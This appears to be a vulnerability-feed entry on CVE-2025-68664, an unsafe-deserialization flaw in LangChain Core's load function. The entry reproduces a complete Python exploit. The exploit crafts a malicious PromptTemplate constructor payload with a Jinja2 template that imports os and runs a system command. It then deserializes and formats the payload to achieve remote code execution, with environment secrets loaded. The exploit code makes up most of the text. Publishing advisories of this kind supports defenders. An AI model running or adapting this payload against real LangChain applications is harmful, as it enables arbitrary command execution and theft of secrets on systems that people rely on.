A critical vulnerability (CVE-2025-68664) affects LangChain Core versions prior to 0. 3. 81 and 1. 2. 5, involving unsafe deserialization in the langchain_core. load function. This flaw allows an attacker to instantiate a malicious PromptTemplate using Jinja2 template format, leading to Server-Side Template Injection (SSTI) and arbitrary command execution (RCE). Exploit code is publicly available in Python, demonstrating how an attacker can execute system commands remotely. No official patch or vendor advisory is provided in the data. The vulnerability is critical due to the potential for remote code execution on affected systems.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: LangChain Core - SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate # with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution. import os from langchain_core.load import dumps, load from langchain_core.prompts import PromptTemplate # Set a dummy env var (demonstrates potential secret access if needed) os.environ["TEST_SECRET"] = "secret_value_123" # Malicious constructor payload targeting PromptTemplate with SSTI payload = { "exploit": { "lc": 1, "type": "constructor", "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"], "kwargs": { "input_variables": [], "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}", "template_format": "jinja2" } } } # Serialize (dumps does not escape 'lc' key) serialized = dumps(payload) # Deserialize - instantiates the malicious PromptTemplate deserialized = load(serialized, secrets_from_env=True) # Extract and invoke the malicious prompt → triggers SSTI → RCE malicious = deserialized["exploit"] output = malicious.format() print("[*] Command execution output:") print(output)